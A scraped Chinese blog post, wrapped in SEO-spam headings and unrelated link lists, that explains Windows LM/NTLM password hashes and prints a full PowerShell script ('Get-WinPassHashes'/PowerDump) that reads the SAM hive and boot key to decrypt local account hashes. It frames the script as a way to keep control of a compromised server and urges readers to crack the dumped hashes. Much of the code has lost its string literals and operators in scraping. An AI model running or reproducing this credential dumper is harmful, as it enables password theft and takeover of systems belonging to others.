当前位置: 首页 > news >正文

合肥优化网站哪家公司好网站初期推广

合肥优化网站哪家公司好,网站初期推广,宁波建网站哪家好用点,买好了域名 如何做网站当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢#xff1f;作为白帽子#xff0c;已经在对手防线上撕开一个口子#xff0c;如果你需要进一步扩大战果#xff0c;你首先需要做的就是潜伏下来#xff0c;收集更多的信息便于你判断#xff0c;便于有…当你拿到了系统控制权之后如何才能更长的时间内控制已经拿到这台机器呢作为白帽子已经在对手防线上撕开一个口子如果你需要进一步扩大战果你首先需要做的就是潜伏下来收集更多的信息便于你判断便于有更大的收获。用什么方法才能有尽可能高的权限同时能更有效的隐藏自己是留webshell留后门种木马还是Rootkitwebshell哪怕是一句话木马都很容易被管理员清除放了木马也容易被有经验的管理员查出不管是早期自己创建进程进程被干掉就完了还是注入进程的木马或者是以服务自启动的木马哪怕是替换次要的系统服务自己启动的木马隐蔽性都太差了。不管后门留的如何完美木马免杀做的多好最终还是做不到不留任何痕迹。 那什么方法才能达到目的又不容易被发现呢以管理员的身份来管理服务器不就行了么不管管理员是用3389、pcanywhere、还是radmin管理服务器获取他的密码以他的身份进入系统不就得了如果是域管理员密码整个域都会在你的控制之下了。获取密码的方法除了网络嗅探还可以获取密码Hash后通过彩虹表进行攻击本文将会介绍通过PowerShell获取Windows系统密码Hash的方法有何密码Hash就离拿到密码不远了。 首先介绍一下windows密码Hash 早期SMB协议在网络上传输明文口令。后来出现LAN Manager Challenge/Response验证机制简称LM它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令我们称之为hash中文哈希Windows的系统密码hash默认情况下一般由两部分组成第一部分是LM-hash第二部分是NTLM-hash。 NTLM-Hash与LM-Hash算法相比明文口令大小写敏感但无法根据NTLM-Hash判断原始明文口令是否小于8字节摆脱了魔术字符串KGS!#$%。MD4是真正的单向哈希函数穷举做为数据源出现的明文难度较大。问题在于微软一味强调NTLM-Hash的强度高却避而不谈一个事实为了保持向后兼容性NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的相反潜在损害着安全性。增加NTLM-Hash后首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。 Windows系统下的hash密码格式为用户名称:RID:LM-HASH值:NT-HASH值例如 Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示 用户名称为Administrator RID为500 LM-HASH值为C8825DB10F2590EAAAD3B435B51404EE NT-HASH值为683020925C5D8569C23AA724774CE6CC 如果你知道这个用户的hash密码了拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站 http://www.objectif-securite.ch/en/ophcrack.php查一下很容易就能得到密码。 下面直接上代码然后对代码简单做一个解释最后演示一下执行效果。 Get-WinPassHashes { [CmdletBinding()]()LoadApi {$oldErrorAction $global:ErrorActionPreference;$global:ErrorActionPreference ;$test [PowerDump.Native];$global:ErrorActionPreference $oldErrorAction;($test){;}$code using System; using System.Security.Cryptography; using System.Runtime.InteropServices; using System.Text;namespace PowerDump {public class Native{[DllImport(, CharSet CharSet.Auto)]public static extern RegOpenKeyEx(hKey,subKey,ulOptions,samDesired,out hkResult);[DllImport(, EntryPoint )]extern public static RegEnumKeyEx(hkey,index,StringBuilder lpName,ref lpcbName,reserved,StringBuilder lpClass,ref lpcbClass,out long lpftLastWriteTime);[DllImport(, EntryPoint, CallingConventionCallingConvention.Winapi, SetLastErrortrue)]extern public static RegQueryInfoKey(hkey,StringBuilder lpClass,ref lpcbClass,lpReserved,out lpcSubKeys,out lpcbMaxSubKeyLen,out lpcbMaxClassLen,out lpcValues,out lpcbMaxValueNameLen,out lpcbMaxValueLen,out lpcbSecurityDescriptor,IntPtr lpftLastWriteTime);[DllImport(, SetLastErrortrue)]public static extern RegCloseKey(hKey);}} // namespace PowerDumppublic class Shift {public static Right( x, count) { x count; }public static uint Right(uint x, count) { x count; }public static long Right(long x, count) { x count; }public static ulong Right(ulong x, count) { x count; }public static Left( x, count) { x count; }public static uint Left(uint x, count) { x count; }public static long Left(long x, count) { x count; }public static ulong Left(ulong x, count) { x count; }} $provider Microsoft.CSharp.CSharpCodeProvider$dllName [PsObject].Assembly.Location$compilerParameters System.CodeDom.Compiler.CompilerParameters$assemblies (, $dllName)$compilerParameters.ReferencedAssemblies.AddRange($assemblies)$compilerParameters.GenerateInMemory $true$compilerResults $provider.CompileAssemblyFromSource($compilerParameters, $code)($compilerResults.Errors.Count 0) {$compilerResults.Errors | { ( $_.Line,$_.ErrorText) }}}$antpassword [Text.Encoding]::ASCII.GetBytes(); $almpassword [Text.Encoding]::ASCII.GetBytes(); $empty_lm [byte[]](0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); $empty_nt [byte[]](0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); $odd_parity (1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 );sid_to_key($sid) {$s1 ();$s1 [char]($sid 0xFF);$s1 [char]([Shift]::Right($sid,8) 0xFF);$s1 [char]([Shift]::Right($sid,16) 0xFF);$s1 [char]([Shift]::Right($sid,24) 0xFF);$s1 $s1[0];$s1 $s1[1];$s1 $s1[2];$s2 ();$s2 $s1[3]; $s2 $s1[0]; $s2 $s1[1]; $s2 $s1[2];$s2 $s2[0]; $s2 $s2[1]; $s2 $s2[2];,((str_to_key $s1),(str_to_key $s2)); }str_to_key($s) {$key ();$key [Shift]::Right([]($s[0]), 1 );$key [Shift]::Left( $([]($s[0]) 0x01), 6) [Shift]::Right([]($s[1]),2);$key [Shift]::Left( $([]($s[1]) 0x03), 5) [Shift]::Right([]($s[2]),3);$key [Shift]::Left( $([]($s[2]) 0x07), 4) [Shift]::Right([]($s[3]),4);$key [Shift]::Left( $([]($s[3]) 0x0F), 3) [Shift]::Right([]($s[4]),5);$key [Shift]::Left( $([]($s[4]) 0x1F), 2) [Shift]::Right([]($s[5]),6);$key [Shift]::Left( $([]($s[5]) 0x3F), 1) [Shift]::Right([]($s[6]),7);$key $([]($s[6]) 0x7F);0..7 | %{$key[$_] [Shift]::Left($key[$_], 1);$key[$_] $odd_parity[$key[$_]];},$key; }NewRC4([byte[]]$key) {Object |NoteProperty key $key -PassThru |NoteProperty S $null -PassThru |ScriptMethod init {( $this.S){[byte[]]$this.S 0..255;0..255 | -begin{[long]$j0;}{$j ($j $this.key[$($_ $this.key.Length)] $this.S[$_]) $this.S.Length;$temp $this.S[$_]; $this.S[$_] $this.S[$j]; $this.S[$j] $temp;}}} -PassThru |ScriptMethod {$data $args[0];$this.init();$outbuf byte[] $($data.Length);$S2 $this.S[0..$this.S.Length];0..$($data.Length-1) | -begin{$i0;$j0;} {$i ($i1) $S2.Length;$j ($j $S2[$i]) $S2.Length;$temp $S2[$i];$S2[$i] $S2[$j];$S2[$j] $temp;$a $data[$_];$b $S2[ $($S2[$i]$S2[$j]) $S2.Length ];$outbuf[$_] ($a -bxor $b);},$outbuf;} -PassThru }des_encrypt([byte[]]$data, [byte[]]$key) {,(des_transform $data $key $true) }des_decrypt([byte[]]$data, [byte[]]$key) {,(des_transform $data $key $false) }des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) {$des Security.Cryptography.DESCryptoServiceProvider;$des.Mode [Security.Cryptography.CipherMode]::ECB;$des.Padding [Security.Cryptography.PaddingMode]::None;$des.Key $key;$des.IV $key;$transform $null;($doEncrypt) {$transform $des.CreateEncryptor();}{$transform $des.CreateDecryptor();}$result $transform.TransformFinalBlock($data, 0, $data.Length);,$result; }Get-RegKeyClass([]$key, []$subkey) {($Key) {{ $nKey 0x80000000} { $nKey 0x80000001} { $nKey 0x80000002} { $nKey 0x80000003} { $nKey 0x80000005} {}}$KEYQUERYVALUE 0x1;$KEYREAD 0x19;$KEYALLACCESS 0x3F;$result ;[]$hkey0( [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)){$classVal Text.Stringbuilder 1024[]$len 1024( [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)){$result $classVal.ToString()}{;}[PowerDump.Native]::RegCloseKey($hkey) | }{;}$result; }Get-BootKey {$s []::Join(,$(,,, | %{Get-RegKeyClass }));$b byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] [Convert]::ToByte($s.Substring($($_*2),2),16)}$b2 byte[] 16;0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | -begin{$i0;}{$b2[$i]$b[$_];$i},$b2; }Get-HBootKey {([byte[]]$bootkey);$aqwerty [Text.Encoding]::ASCII.GetBytes();$anum [Text.Encoding]::ASCII.GetBytes();$k HKLM:\SAM\SAM\Domains\Account;( $k) { $null}[byte[]]$F $k.GetValue();( $F) { $null}$rc4key [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] $aqwerty $bootkey $anum);$rc4 NewRC4 $rc4key;,($rc4.encrypt($F[0x80..0x9F])); }Get-UserName([byte[]]$V) {( $V) { $null};$offset [BitConverter]::ToInt32($V[0x0c..0x0f],0) 0xCC;$len [BitConverter]::ToInt32($V[0x10..0x13],0);[Text.Encoding]::Unicode.GetString($V, $offset, $len); }Get-UserHashes($u, [byte[]]$hbootkey) {[byte[]]$enc_lm_hash $null; [byte[]]$enc_nt_hash $null;($u.HashOffset 0x28 $u.V.Length){$lm_hash_offset $u.HashOffset 4;$nt_hash_offset $u.HashOffset 8 0x10;$enc_lm_hash $u.V[$($lm_hash_offset)..$($lm_hash_offset0x0f)];$enc_nt_hash $u.V[$($nt_hash_offset)..$($nt_hash_offset0x0f)];}($u.HashOffset 0x14 $u.V.Length){$nt_hash_offset $u.HashOffset 8;$enc_nt_hash [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset0x0f)];},(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); }DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) {[byte[]]$lmhash $empty_lm; [byte[]]$nthash$empty_nt;($enc_lm_hash){$lmhash DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword;}($enc_nt_hash){$nthash DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword;},($lmhash,$nthash) }DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) {$deskeys sid_to_key $rid;$md5 [Security.Cryptography.MD5]::Create();$rc4_key $md5.ComputeHash($hbootkey[0..0x0f] [BitConverter]::GetBytes($rid) $lmntstr);$rc4 NewRC4 $rc4_key;$obfkey $rc4.encrypt($enc_hash);$hash (des_decrypt $obfkey[0..7] $deskeys[0]) (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]);,$hash; }Get-UserKeys {HKLM:\SAM\SAM\Domains\Account\Users |{$_.PSChildName } |AliasProperty KeyName PSChildName -PassThru |ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru |ScriptProperty V {[byte[]]($this.GetValue())} -PassThru |ScriptProperty UserName {Get-UserName($this.GetValue())} -PassThru |ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue()[0x9c..0x9f],0) 0xCC} -PassThru }DumpHashes {LoadApi$bootkey Get-BootKey;$hbootKey Get-HBootKey $bootkey;Get-UserKeys | %{$hashes Get-UserHashes $_ $hBootKey;($_.UserName,$_.Rid,[BitConverter]::ToString($hashes[0]).Replace(,).ToLower(),[BitConverter]::ToString($hashes[1]).Replace(,).ToLower());} } DumpHashes } 代码中定义的函数Get-WinPassHashes中定义了多个函数在函数的最后调用DumpHashes作为入口函数。 运行效果如下所示 拿着hash速速破解密码去吧^_^   作者: 付海军 出处http://fuhj02.cnblogs.com 版权本文版权归作者和博客园共有 转载欢迎转载为了保存作者的创作热情请按要求【转载】谢谢 要求未经作者同意必须保留此段声明必须在文章中给出原文连接否则必究法律责任 个人网站: http://www.fuhaijun.com/转载于:https://www.cnblogs.com/fuhj02/p/4011705.html
http://mrfarshtey.net/news/35217/

相关文章:

  • 加强网站建设的如何注册个人营业执照
  • 淘宝店采用哪些方法做网站推广wordpress怎么制作网页
  • 网站怎么去优化网站备案的要求
  • flask做的网站 网址网站用ps下拉效果怎么做的
  • 梅州建站推荐做一个企业网站的费用
  • 重点建设专业 专题网站互联网排行榜
  • 青岛做网站的费用免费下载高清图片素材的网站
  • 网站开发项目职责模板建站平台
  • 注册网站入口找人做网页需要多少钱
  • 个人网站建设目的wordpress动漫插件
  • 什么叫seo网站推广网站模板有后台
  • 德州市建设街小学官方网站wordpress getterm
  • 登建设厅锁子的是哪个网站微信公众号开发教程
  • php网站空间购买做网站需要什么技术支持
  • 国外展柜网站WordPress添加前台注册功能
  • 湖北公司响应式网站建设推荐python做网站
  • 北京注册公司多少钱seo培训学院官网
  • 为什么网站需要静态化生成htmlWordPress 导航 自适应
  • eclipse做企业网站网站建设与管理 答案
  • 网站建设案例要多少钱自己搭建局域网云桌面终端
  • 新余集团网站建设深圳网页设计
  • 网站很久没被收录的新闻怎么处理网站建设服务合同 律师
  • 宿迁网站建设报价广东省建设厅人才网站
  • 网站文章页301重定向怎么做wordpress商业主体
  • 网站备案填写电话一个交易网站开发的成本是多少
  • 怎么做黑客把网站余额更改大连工业大学是一本吗
  • 专业品牌网站建设上海外贸瓦屑包装袋有限公司
  • 受欢迎的集团网站建设网站建设与推广实训小结
  • 好网站在哪里室内装饰设计师
  • 中国十大知名网站帝国cms网站制作